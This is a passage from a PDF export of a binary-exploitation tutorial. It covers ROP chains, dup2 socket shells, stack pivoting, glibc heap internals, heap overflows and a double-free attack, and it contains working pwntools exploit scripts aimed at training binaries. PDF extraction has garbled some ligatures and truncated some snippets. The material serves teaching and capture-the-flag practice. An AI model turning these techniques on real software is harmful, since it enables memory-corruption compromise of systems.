0x0000000000404000 - 0x0000000000405000 - usr 4K s rw-
RW_LOC = 0x00404028
Reading in win()
rop.raw('A' * 40)
rop.gets(RW_LOC)
Now we have the address written there, let's just get the massive ropchain and
plonk it all in
rop.raw(POP_CHAIN)
rop.raw(0) # r12
rop.raw(0) # r13
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 129 of 554
Cybersecurity Notes 5/3/25, 16:17
Sending it off
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
Final Exploit
from pwn import *
rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0) # r12
rop.raw(0) # r13
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
rop.raw(REG_CALL) # all the movs, plus the call
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
Simplification
As you probably noticed, we don't need to pop o" r12 or r13, so we can move
POP_CHAIN a couple of intructions along:
rop = ROP(elf)
rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
rop.raw(REG_CALL) # all the movs, plus the call
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))
print(p.recvline())
CSU Hardening
As of glibc 2.34, the CSU has been hardened to remove the useful gadgets. This
patch is the o"endor, and it essentially removes __libc_csu_init (as well as a
couple other functions) entirely.
Overview
File Descriptors are integers that represent conections to sockets or !les or
whatever you're connecting to. In Unix systems, there are 3 main !le descriptors
(often abbreviated fd) for each application:
Name fd
stdin 0
stdout 1
stderr 2
These are, as shown above, standard input, output and error. You've probably
used them before yourself, for example to hide errors when running commands:
p = process()
p = remote(host, port)
The reason for this is every new connection has a di"erent fd. If you listen in C,
since fd 0-2 is reserved, the listening socket will often be assigned fd 3 . Once we
connect, we set up another fd, fd 4 (neither the 3 nor the 4 is certain, but
statistically likely).
Here we have to tell the program to duplicate the !le descriptor in order to
redirect stdin and stderr to fd 4 , and glibc provides a simple way to do so.
The dup syscall (and C function) duplicates the fd and uses the lowest-numbered
free fd. However, we need to ensure it's fd 4 that's used, so we can use dup2() .
dup2 takes in two parameters: a newfd and an oldfd . Descriptor oldfd is
duplicated to newfd , allowing us to interact with stdin and stdout and
actually use any shell we may have popped.
Note that the man page outlines how if newfd is in use it is silently closed, which
is exactly what we wish.
Exploit
Duplicating the Descriptors
Source
I'll include source.c , but most of it is socket programming derived from here.
The two relevent functions - vuln() and win() - I'll list below.
sockets.zip
6KB archive
void win() {
system("/bin/sh");
}
Exploitation
Start the binary with ./vuln 9001 .
Testing Offset
payload = b'AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAA
pause()
p.sendline(payload)
Once the pause() is reached, I hook on with radare2 and set a breakpoint at the
ret .
$ r2 -d -A $(pidof vuln)
[0x7f741033bdee]> db 0x0040126b
[0x7f741033bdee]> dc
hit breakpoint at: 40126b
Generate Exploit
payload = flat(
'A' * 40,
elf.sym['win']
)
p.sendline(payload)
p.interactive()
A shell was popped there! This is the !le descriptor issue we talked about before.
I've simpli!ed this challenge a lot by including a call to dup2() within the vulnerable
binary, but normally you would leak libc via the GOT and then use libc's dup2()
rather than the PLT; this walkthrough is about the basics, so I kept it as simple as
possible.
both stdin and stdout ). Knowing what you do about calling conventions, have
a go at doing this and then caling win() . The answer is below.
Using dup2()
Since we need two parameters, we'll need to !nd a gadget for RDI and RSI. I'll use
ROPgadget to !nd these.
POP_RDI = 0x40150b
POP_RSI_R15 = 0x401509
payload = flat(
'A' * 40,
POP_RDI,
4, # newfd
POP_RSI_R15,
0, # oldfd -> stdin
0, # junk r15
elf.plt['dup2'],
POP_RDI,
4, # newfd
POP_RSI_R15,
1, # oldfd -> stdout
0, # junk r15
elf.plt['dup2'],
elf.sym['win']
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 138 of 554
Cybersecurity Notes 5/3/25, 16:17
elf.sym['win']
)
p.sendline(payload)
p.recvuntil('Thanks!\x00')
p.interactive()
Final Exploit
from pwn import *
POP_RDI = 0x40150b
POP_RSI_R15 = 0x401509
payload = flat(
'A' * 40,
POP_RDI,
4, # newfd
POP_RSI_R15,
0, # oldfd -> stdin
0, # junk r15
elf.plt['dup2'],
POP_RDI,
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 139 of 554
Cybersecurity Notes 5/3/25, 16:17
POP_RDI,
4, # newfd
POP_RSI_R15,
1, # oldfd -> stdout
0, # junk r15
elf.plt['dup2'],
elf.sym['win']
)
p.sendline(payload)
p.recvuntil('Thanks!\x00')
p.interactive()
Pwntools' ROP
These kinds of chains are where pwntools' ROP capabilities really come into their
own:
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat
More on socat
Most of the command is fairly logical (and the rest you can look up). The
important part is that in this scenario we don't have to redirect !le descriptors, as
socat does it all for us.
What is important, however, is pty mode. Because pty mode allows you to
communicate with the process as if you were a user, it takes in input literally -
including DELETE characters. If you send a \x7f - a DELETE - it will literally
delete the previous character (as shown shortly in my Dream Diary: Chapter 1
writeup). This is incredibly relevant because in 64-bit the \x7f is almost always
present in glibc addresses, so it's not quite so possible to avoid (although you
could keep rerunning the exploit until the rare occasion you get an 0x7e... libc
base).
To bypass this we use the socat pty escape character \x16 and prepend it to
any \x7f we send across.
Forking Processes
Flaws with fork()
Some processes use fork() to deal with multiple requests at once, most notably
servers.
This allows us to bruteforce the RIP one byte at a time, essentially leaking PIE -
and the same thing for canaries and RBP. 24 bytes of multithreaded bruteforce,
and once you leak all of those you can bypass a canary, get a stack leak from RBP
and PIE base from RIP.
I won't be making a binary for this (yet), but you can check out ippsec's Rope
writeup for HTB - Rope root was this exact technique.
Stack Pivoting
Lack of space for ROP
Overview
Stack Pivoting is a technique we use when we lack space on the stack - for
example, we have 16 bytes past RIP. In this scenario, we're not able to complete a
full ROP chain.
During Stack Pivoting, we take control of the RSP register and "fake" the location
of the stack. There are a few ways to do this.
Possibly the simplest, but also the least likely to exist. If there is one of these,
you're quite lucky.
If you can !nd a pop <reg> gadget, you can then use this xchg gadget to swap
the values with the ones in RSP. Requires about 16 bytes of stack space after the
saved return pointer:
leave; ret
This is a very interesting way of stack pivoting, and it only requires 8 bytes.
Every function (except main ) is ended with a leave; ret gadget. leave is
equivalent to
That means that when we overwrite RIP the 8 bytes before that overwrite RBP
(you may have noticed this before). So, cool - we can overwrite rbp using
leave . How does that help us?
Well if we look at leave again, we noticed the value in RBP gets moved to RSP!
So if we call overwrite RBP then overwrite RIP with the address of leave; ret
again, the value in RBP gets moved to RSP. And, even better, we don't need any
more stack space than just overwriting RIP, making it very compressed.
Exploitation
Stack Pivoting
Source
stack_pivoting.zip
3KB archive
void vuln() {
char buffer[0x60];
printf("Try pivoting to: %p\n", buffer);
fgets(buffer, 0x80, stdin);
}
int main() {
vuln();
return 0;
}
It's fairly clear what the aim is - call winner() with the two correct parameters.
The fgets() means there's a limited number of bytes we can over#ow, and it's
not enough for a regular ROP chain. There's also a leak to the start of the bu"er,
so we know where to set RSP to.
We'll try two ways - using pop rsp , and using leave; ret . There's no xchg
Since I assume you know how to calculate padding, I'll tell you there's 96 until we
overwrite stored RBP and 104 (as expected) until stored RIP.
Basic Setup
Just to get the basics out of the way, as this is common to both approaches:
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
pop rsp
Using a pop rsp gadget to stack pivot
Exploitation
Gadgets
FIrst o", let's grab all the gadgets. I'll use ROPgadget again to do so:
Now we have all the gadgets, let's chuck them into the script:
Let's just make sure the pop works by sending a basic chain and then breaking on
ret and stepping through.
payload = flat(
'A' * 104,
POP_CHAIN,
buffer,
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 147 of 554
Cybersecurity Notes 5/3/25, 16:17
buffer,
0, # r13
0, # r14
0 # r15
)
pause()
p.sendline(payload)
print(p.recvline())
If you're careful, you may notice the mistake here, but I'll point it out in a sec.
Send it o", attach r2.
[0x7f96f01e9dee]> db 0x004011b8
[0x7f96f01e9dee]> dc
hit breakpoint at: 4011b8
[0x004011b8]> pxq @ rsp
0x7ffce2d4fc68 0x0000000000401225 0x00007ffce2d4fc00
0x7ffce2d4fc78 0x0000000000000000 0x00007ffce2d4fd68
You may see that only the gadget + 2 more values were written; this is because
our bu"er length is limited, and this is the reason we need to stack pivot. Let's
step through the !rst pop .
[0x004011b8]> ds
[0x00401225]> ds
[0x00401226]> dr rsp
0x7ffce2d4fc00
You may notice it's the same as our "leaked" value, so it's working. Now let's try
and pop the 0x0 into r13 .
[0x00401226]> ds
[0x00401228]> dr r13
0x4141414141414141
Remember, however, that pop r13 is equivalent to mov r13, [rsp] - the value
from the top of the stack is moved into r13 . Because we moved RSP, the top of
the stack moved to our bu"er and AAAAAAAA was popped into it - because
that's what the top of the stack points to now.
Full Payload
Now we understand the intricasies of the pop, let's just !nish the exploit o". To
account for the additional pop calls, we have to put some junk at the beginning
of the bu"er, before we put in the ropchain.
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload += flat(
POP_CHAIN,
buffer # rsp - now stack points to our buffer!
)
Final Exploit
from pwn import *
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
leave
Using leave; ret to stack pivot
Exploitation
By calling leave; ret twice, as described, this happens:
Gadgets
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
I won't bother stepping through it again - if you want that, check out the pop rsp
walkthrough.
payload = flat(
'A' * 96,
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 151 of 554
Cybersecurity Notes 5/3/25, 16:17
'A' * 96,
buffer,
LEAVE_RET
)
pause()
p.sendline(payload)
print(p.recvline())
Full Payload
You might be tempted to just chuck the payload into the bu"er and boom, RSP
points there, but you can't quite - as with the previous approach, there is a pop
instruction that needs to be accounted for - again, remember leave is
So once you overwrite RSP, you still need to give a value for the pop rbp .
payload = flat(
0x0, # account for final "pop rbp"
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload += flat(
buffer,
LEAVE_RET
)
Final Exploit
from pwn import *
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload += flat(
buffer,
LEAVE_RET
)
pause()
p.sendline(payload)
print(p.recvline())
Heap
Still learning :)
Moving onto heap exploitation does not require you to be a god at stack
exploitation, but it will require a better understanding of C and how concepts
such as pointers work. From time to time we will be discussing the glibc source
code itself, and while this can be really overwhelming, it's incredibly good
practise.
I'll do everything I can do make it as simple as possible. Most references (to start
with) will be hyperlinks, so feel free to just keep the concept in mind for now, but
as you progress understanding the source will become more and more important.
Occasionally di"erent snippets of code will be from di"erent glibc versions, and I'll
do my best to note down which version they are from. The reason for this is that
newer versions have a lot of protections that will obscure the basic logic of the
operation, so we will start with older implementations and build up.
In C, this often means using functions such as malloc() to request the space.
However, the heap is very slow and can take up tons of space. This means that the
developer has to tell libc when the heap data is "!nished with", and it does this via
calls to free() which mark the area as available. But where there are humans
there will be implementation #aws, and no amount of protection will ever ensure
code is completely safe.
In the following sections, we will only discuss 64-bit systems (with the exception
of some parts that were written long ago). The theory is the same, but pretty
much any heap challenge (or real-world application) will be on 64-bit systems.
Chunks
Internally, every chunk - whether allocated or free - is stored in a malloc_chunk
structure. The di"erence is how the memory space is used.
Allocated Chunks
When space is allocated from the heap using a function such as malloc() , a
pointer to a heap address is returned. Every chunk has additional metadata that it
has to store in both its used and free states.
The chunk has two sections - the metadata of the chunk (information about the
chunk) and the user data, where the data is actually stored.
The size !eld is the overall size of the chunk, including metadata. It must be a
multiple of 8 , meaning the last 3 bits of the size are 0 . This allows the #ags
A , M and P to take up that space, with M being the 3rd-last bit of size , A
the 2nd-last and P the last.
• P is the PREV_INUSE #ag, which is set when the previous adjacent chunk
(the chunk ahead) is in use
• M is the IS_MMAPPED #ag, which is set when the chunk is allocated via
mmap() rather than a heap mechanism such as malloc()
•
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 156 of 554
Cybersecurity Notes 5/3/25, 16:17
• A is the NON_MAIN_ARENA #ag, which is set when the chunk is not located in
main_arena ; we will get to Arenas in a later section, but in essence every
created thread is provided a di"erent arena (up to a limit) and chunks in these
arenas have the A bit set
Free Chunks
Free chunks have additional metadata to handle the linking between them.
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free).
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead
An Overview of Freeing
When we are done with a chunk's data, the data is freed using a function such as
free() . This tells glibc that we are done with this portion of memory.
It is the bins that are responsible for the bulk of this memory recycling. A bin is a
(doubly- or singly-linked) list of free chunks. For e$ciency, di"erent bins are used
for di"erent sizes, and the operations will vary depending on the bins as well to
keep high performance.
When a chunk is freed, it is "moved" to the bin. This movement is not physical, but
rather a pointer - a reference to the chunk - is stored somewhere in the list.
Bin Operations
There are four bins: fastbins, the unsorted bin, smallbins and largebins.
When a chunk is freed, the function that does the bulk of the work in glibc is
_int_free() . I won't delve into the source code right now, but will provide
hyperlinks to glibc 2.3, a very old one without security checks. You should have a
go at familiarising yourself with what the code says, but bear in mind things have
been moved about a bit to get to there they are in the present day! You can
change the version on the left in bootlin to see how it's changed.
• First, the size of the chunk is checked. If it is less than the largest fastbin
size, add it to the correct fastbin
• Finally, consolidate them and put them into the unsorted bin
What is consolidation? We'll be looking into this more concretely later, but it's
essentially the process of !nding other free chunks around the chunk being freed
and combining them into one large chunk. This makes the reuse process more
e$cient.
Fastbins
Fastbins store small-sized chunks. There are 10 of these for chunks of size 16, 24,
32, 40, 48, 56, 64, 72, 80 or 88 bytes including metadata.
Unsorted Bin
There is only one of these. When small and large chunks are freed, they end of in
this bin to speed up allocation and deallocation requests.
Essentially, this bin gives the chunks one last shot at being used. Future malloc
requests, if smaller than a chunk currently in the bin, split up that chunk into two
pieces and return one of them, speeding up the process - this is the Last
Remainder Chunk. If the chunk requested is larger, then the chunks in this bin get
moved to the respective Small/Large bins.
Small Bins
There are 62 small bins of sizes 16, 24, ... , 504 bytes and, like fast bins, chunks of
the same size are stored in the same bins. Small bins are doubly-linked and
The purpose of the FD and BK pointers as we saw before are to points to the
chunks ahead and behind in the bin.
Before ending up in the unsorted bin, contiguous small chunks (small chunks next
to each other in memory) can coalesce (consolidate), meaning their sizes
combine and become a bigger chunk.
Large Bins
63 large bins, can store chunks of di"erent sizes. The free chunks are ordered in
decreasing order of size, meaning insertions and deletions can occur at any point
in the list.
Like small chunks, large chunks can coalesce together before ending up in the
unsorted bin.
When a new chunk is freed, it's added at the front of the list (making it the head):
• HEAD is updated to point to this new chunk, setting the new chunk as the
head of the list
Let's have a visual demonstration (it will help)! Try out the following C program:
#include <stdio.h>
#include <stdlib.h>
int main() {
char *a = malloc(20);
char *b = malloc(20);
char *c = malloc(20);
puts("Freeing...");
free(a);
free(b);
free(c);
puts("Allocating...");
char *d = malloc(20);
char *e = malloc(20);
char *f = malloc(20);
We get:
a: 0x2292010
b: 0x2292030
c: 0x2292050
Freeing...
Allocating...
d: 0x2292050
e: 0x2292030
f: 0x2292010
It can be really confusing as to why we add and remove chunks from the start of
the list (why not the end?), but it's really just the most e#cient way to add an
element. Let's say we have this fastbin setup:
In this case HEAD points to a , and a points onwards to b as the next chunk in
the bin (because the fd !eld of a points to b ). Now let's say we free another
chunk c . If we want to add it to the end of the list like so:
chunk.
◦ This is easy, as a was the old head, so glibc had a pointer to it stored
already
For reallocating the chunk, the same principle applies - it's much easier to update
HEAD to point to a by reading the fd of c than it is to traverse the entire list
until it gets to the end.
• If the requested chunk is large (of largebin size), we !rst consolidate the
largebins with malloc_consolidate() . We will get into the mechanisms of
this at a later point, but essentially I lied earlier - fastbins do consolidate, but
not on freeing!
• If the requested size is equal to the size of the chunk in the bin, return the
chunk
• If it's smaller, split the chunk in the bin in two and return a portion of the
correct size
• If it's larger,
One thing that is very easy to forget is what happens on allocation and what
happens on freeing, as it can be a bit counter-intuitive. For example, the fastbin
consolidation is triggered from an allocation!
Malloc State
malloc_consolidate()
Consolidating fastbins
Earlier, I said that chunks that went to the unsorted bin would consolidate, but
fastbins would not. This is technically not true, but they don't consolidate
automatically; in order for them to consolidate, the function
malloc_consolidate() has to be called. This function looks complicated, but it
essentially just grabs all adjacent fastbin chunks and combines them into larger
chunks, placing them in the unsorted bin.
Why do we care? Well, UAFs and the like are very nice to have, but a Read-After-
Free on a fastbin chunk can only ever leak you a heap address, as the singly-linked
lists only use the fd pointer which points to another chunk (on the heap) or is
NULL. We want to get a libc leak as well!
This means that the more important thing for us to know is how we can trigger a
largebin consolidation.
• Inputting a very long number into scanf (around 0x400 characters long)
It's possible for earlier or later glibc versions to have a greater or lesser number of
calls to a speci!c function, so make sure to check for your version! You may !nd
another way exists.
_int_malloc
/*
If this is a large request, consolidate fastbins before continuing [...]
*/
else
{
idx = largebin_index (nb);
if (atomic_load_relaxed (&av->have_fastchunks))
malloc_consolidate (av);
}
There is another call to it in the section use_top . This section is called when
the top chunk has to be used to service the request. The !rst if condition
checks if the top chunk is large enough to service the request:
If not, the next condition checks if there are fastchunks in the arena. If there
are, it calls malloc_consolidate to attempt to regain space to service the
request!
So, by !lling the heap and requesting another chunk, we can trigger a call to
malloc_consolidate() .
(If both conditions fail, _int_malloc falls back to esssentially using mmap
to service the request).
_int_free
TODO
malloc_trim
Calling mtrim will consolidate fastbins (which makes sense, given the name
malloc_trim ). Unlikely to ever be useful, but please do let me know if you
!nd a use for it!
mallopt
When changing malloc options using mallopt , the fastbins are !rst
consolidated. This is pretty useless, as mallopt is likely called once (if at all)
in the program prelude before it does anything.
Heap Overflow
Heap Over#ow, much like a Stack Over#ow, involves too much data being written
to the heap. This can result in us overwriting data, most importantly pointers.
Overwriting these pointers can cause user input to be copied to di"erent
locations if the program blindly trusts data on the heap.
To introduce this (it's easier to understand with an example) I will use two
vulnerable binaries from Protostar.
heap0
http://exploit.education/phoenix/heap-zero/
Source
Luckily it gives us the source:
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct data {
char name[64];
};
struct fp {
void (*fp)();
char __pad[64 - sizeof(unsigned long)];
};
void winner() {
printf("Congratulations, you have passed this level\n");
}
void nowinner() {
printf(
"level has not been passed - function pointer has not been "
"overwritten\n");
}
if (argc < 2) {
printf("Please specify an argument to copy :-)\n");
exit(1);
}
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 173 of 554
Cybersecurity Notes 5/3/25, 16:17
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;
strcpy(d->name, argv[1]);
f->fp();
return 0;
}
Analysis
So let's analyse what it does:
• Copies the !rst command-line argument to the name variable of the chunk
d
The weakness here is clear - it runs a random address on the heap. Our input is
copied there after the value is set and there's no bound checking whatsoever, so
we can overrun it easily.
Regular Execution
$ s main; pdf
[...]
0x0040075d e8fefdffff call sym.imp.strcpy ; char *strcpy(char
0x00400762 488b45f8 mov rax, qword [var_8h]
[...]
We'll break right after the strcpy and see how it looks.
[0x004006f8]> db 0x00400762
[0x004006f8]> dc
hit breakpoint at: 0x400762
So, we can see that the function address is there, after our input in memory. Let's
work out the o"set.
Since we want to work out how many characters we need until the pointer, I'll just
use a De Bruijn Sequence.
$ ragg2 -P 200 -r
$ r2 -d -A heap0 AAABAACAADAAE...
Let's break on and after the strcpy . That way we can check the location of the
pointer then immediately read it and calculate the o"set.
[0x004006f8]> db 0x0040075d
[0x004006f8]> db 0x00400762
[0x004006f8]> dc
hit breakpoint at: 0x40075d
So, the chunk with the pointer is located at 0x2493060 . Let's continue until the
next breakpoint.
[0x0040075d]> dc
hit breakpoint at: 0x400762
Corrupted
radare2 is nice enough to tell us we corrupted the data. Let's analyse the chunk
again.
Notice we overwrote the size !eld, so the chunk is much bigger. But now we
can easily use the !rst value to work out the o"set (we could also, knowing the
location, have done pxq @ 0x02493060 ).
Exploit
from pwn import *
p = elf.process(argv=[payload])
print(p.clean().decode('latin-1'))
We need to remove the null bytes because argv doesn't allow them
heap1
http://exploit.education/phoenix/heap-one/
Source
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
struct heapStructure {
int priority;
char *name;
};
i1 = malloc(sizeof(struct heapStructure));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct heapStructure));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
void winner() {
printf(
"Congratulations, you've completed this level @ %ld seconds past the "
"Epoch\n",
time(NULL));
}
Analysis
This program:
• Allocates another chunk on the heap for the name of that heapStructure
• Prints something
Regular Execution
Look! The name pointer points to the name chunk! You can see the value
0x602030 being stored.
This isn't particularly a revelation in itself - after all, we knew there was a pointer
in the chunk. But now we're certain, and we can de!nitely overwrite this pointer
due to the lack of bounds checking. And because we can also control the value
being written, this essentially gives us an arbitrary write!
Exploitation
The plan, therefore, becomes:
But what function should we overwrite? The only function called after the
strcpy is printf , according to the source code. And if we overwrite printf
with winner it'll just recursively call itself forever.
Luckily, compilers like gcc compile printf as puts if there are no parameters
- we can see this with radare2:
$ r2 -d -A heap1
$ s main; pdf
[...]
0x004006e6 e8f5fdffff call sym.imp.strcpy ; char *strcpy(char
0x004006eb bfa8074000 mov edi, str.and_that_s_a_wrap_folks ; 0x4007a8
0x004006f0 e8fbfdffff call sym.imp.puts
So we can simply overwrite the GOT address of puts with winner . All we need
to !nd now is the padding until the pointer and then we're good to go.
$ ragg2 -P 200 -r
AABAA...
Break on and after the strcpy again and analyse the second chunk's name
pointer.
The pointer is originally at 0x8d9050 ; once the strcpy occurs, the value there is
0x41415041414f4141 .
Final Exploit
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 184 of 554
Cybersecurity Notes 5/3/25, 16:17
p = elf.process(argv=[param1, param2])
print(p.clean().decode('latin-1'))
Again, null bytes aren't allowed in parameters so you have to remove them.
Use-After-Free
Much like the name suggests, this technique involves us using data once it is
freed. The weakness here is that programmers often wrongly assume that once
the chunk is freed it cannot be used and don't bother writing checks to ensure
data is not freed. This means it is possible to write data to a free chunk, which is
very dangerous.
TODO: binary
Double-Free
Overview
A double-free can take a bit of time to understand, but ultimately it is very simple.
Firstly, remember that for fast chunks in the fastbin, the location of the next
chunk in the bin is speci!ed by the fd pointer. This means if chunk a points to
chunk b , once chunk a is freed the next chunk in the bin is chunk b .
Controlling fd
As it sounds, we have to free the chunk twice. But how does that help?
Let's watch the progress of the fastbin if we free an arbitrary chunk a twice:
char *a = malloc(0x20);
free(a);
free(a);
Fairly logical.
But what happens if we called malloc() again for the same size?
char *b = malloc(0x20);
Well, strange things would happen. a is both allocated (in the form of b ) and
free at the same time.
If you remember, the heap attempts to save as much space as possible and when
the chunk is free the fd pointer is written where the user data used to be.
When we write into the use data of b , we're writing into the fd of a at the
same time.
And remember - controlling fd means we can control where the next chunk gets
allocated!
So we can write an address into the data of b , and that's where the next chunk
gets placed.
strcpy(b, "\x78\x56\x34\x12");
Now, the next alloc will return a again. This doesn't matter, we want the one
afterwards.
Double-Free Protections
It wouldn't be fun if there were no protections, right?
#include <stdio.h>
#include <stdlib.h>
int main() {
int *a = malloc(0x50);
free(a);
free(a);
return 1;
}
Is the chunk at the top of the bin the same as the chunk being inserted?
#include <stdio.h>
#include <stdlib.h>
int main() {
int *a = malloc(0x50);
int *b = malloc(0x50);
free(a);
free(b);
free(a);
return 1;
}
When removing the chunk from a fastbin, make sure the size falls into the
fastbin's range
Namely, if you overwrite fd with something like 0x08041234 , you have to make
sure the metadata !ts - i.e. the size ahead of the data is completely correct - and
that makes it harder, because you can't just write into the GOT, unless you get
lucky.
Double-Free Exploit
Still on Xenial Xerus, means both mentioned checks are still relevant. The bypass
for the second check (malloc() memory corruption) is given to you in the form of
fake metadata already set to a suitable size. Let's check the (relevant parts of)
the source.
double-free.zip
5KB archive
Double-Free
Analysis
Variables
The fakemetadata variable is the fake size of 0x30 , so you can focus on the
double-free itself rather than the protection bypass. Directly after this is the
admin variable, meaning if you pull the exploit o" into the location of that fake
metadata, you can just overwrite that as proof.
users is a list of strings for the usernames, and userCount keeps track of the
length of the array.
main_loop()
void main_loop() {
while(1) {
printf(">> ");
char input[2];
read(0, input, sizeof(input));
int choice = atoi(input);
switch (choice)
{
case 1:
createUser();
break;
case 2:
deleteUser();
break;
case 3:
complete_level();
default:
break;
}
}
}
Prompts for input, takes in input. Note that main() itself prints out the location
of fakemetadata , so we don't have to mess around with that at all.
createUser()
void createUser() {
char *name = malloc(0x20);
users[userCount] = name;
createUser() allocates a chunk of size 0x20 on the heap (real size is 0x30
including metadata, hence the fakemetadata being 0x30 ) then sets the array
entry as a pointer to that chunk. Input then gets written there.
deleteUser()
void deleteUser() {
printf("Index: ");
char input[2];
read(0, input, sizeof(input));
int choice = atoi(input);
Get index, print out the details and free() it. Easy peasy.
complete_level()
void complete_level() {
if(strcmp(admin, "admin\n")) {
puts("Level Complete!");
return;
}
}
Checks you overwrote admin with admin , if you did, mission accomplished!
Exploitation
There's literally no checks in place so we have a plethora of options available, but
this tutorial is about using a double-free, so we'll use that.
Setup
First let's make a skeleton of a script, along with some helper functions:
def create(name='a'):
p.sendlineafter('>> ', '1')
p.sendlineafter('Name: ', name)
def delete(idx):
p.sendlineafter('>> ', '2')
p.sendlineafter('Index: ', str(idx))
def complete():
p.sendlineafter('>> ', '3')
print(p.recvline())
As we know with the fasttop protection, we can't allocate once then free twice
- we'll have to free once inbetween.
create('yes')
create('yes')
delete(0)
delete(1)
delete(0)
Let's check the progression of the fastbin by adding a pause() after every
delete() . We'll hook on with radare2 using
r2 -d $(pidof vuln)
delete(0) #1
Due to its size, the chunk will go into Fastbin 2, which we can check the contents
of using dmhf 2 ( dmhf analyses fastbins, and we can specify number 2).
Looks like the !rst chunk is located at 0xd58000 . Let's keep going.
delete(1)
The next chunk (Chunk 1) has been added to the top of the fastbin, this chunk
being located at 0xd58030 .
delete(0) #2
Boom - we free Chunk 0 again, adding it to the fastbin for the second time.
radare2 is nice enough to point out there's a double-free.
Now we have a double-free, let's allocate Chunk 0 again and put some random
data. Because it's also considered free, the data we write is seen as being in the
fd pointer of the chunk. Remember, the heap saves space, so fd when free is
located exactly where data is when allocated (probably explained better here).
So let's write to fd , and see what happens to the fastbin. Remove all the
pause() instructions.
create(p64(0x08080808))
pause()
The last free() gets reused, and our "fake" fastbin location is in the list.
Beautiful.
Let's push it to the top of the list by creating two more irrelevant users. We can
also parse the fakemetadata location at the beginning of the exploit chain.
p.recvuntil('data: ')
fake_metadata = int(p.recvline(), 16) - 8
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 196 of 554
Cybersecurity Notes 5/3/25, 16:17
[...]
create('junk1')
create('junk2')
pause()
The reason we have to subtract 8 o" fakemetadata is that the only thing we
faked in the souce is the size !eld, but prev_size is at the very front of the
chunk metadata. If we point the fastbin freelist at the fakemetadata variable it'll
interpret it as prev_size and the 8 bytes afterwards as size , so we shift it all
back 8 to align it correctly.
Now we can control where we write, and we know where to write to.
First, let's replace the location we write to with where we want to:
create(p64(fake_metadata))
Now let's !nish it o" by creating another user. Since we control the fastbin, this
user gets written to the location of our fake metadata, giving us an almost
arbitrary write.
create('\x00' * 8 + 'admin\x00')
complete()
The 8 null bytes are padding. If you read the source, you notice the metadata string is
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 197 of 554
Cybersecurity Notes 5/3/25, 16:17
The 8 null bytes are padding. If you read the source, you notice the metadata string is
16 bytes long rather than 8, so we need 8 more padding.
$ python3 exploit.py
[+] Starting local process 'vuln': pid 8296
[+] Fake Metadata: 0x602088
b'Level Complete!\n'
Final Exploit
from pwn import *
def create(name='a'):
p.sendlineafter('>> ', '1')
p.sendlineafter('Name: ', name)
def delete(idx):
p.sendlineafter('>> ', '2')
p.sendlineafter('Index: ', str(idx))
def complete():
p.sendlineafter('>> ', '3')
print(p.recvline())
p.recvuntil('data: ')
fake_metadata = int(p.recvline(), 16) - 8
create('yes')
create('yes')
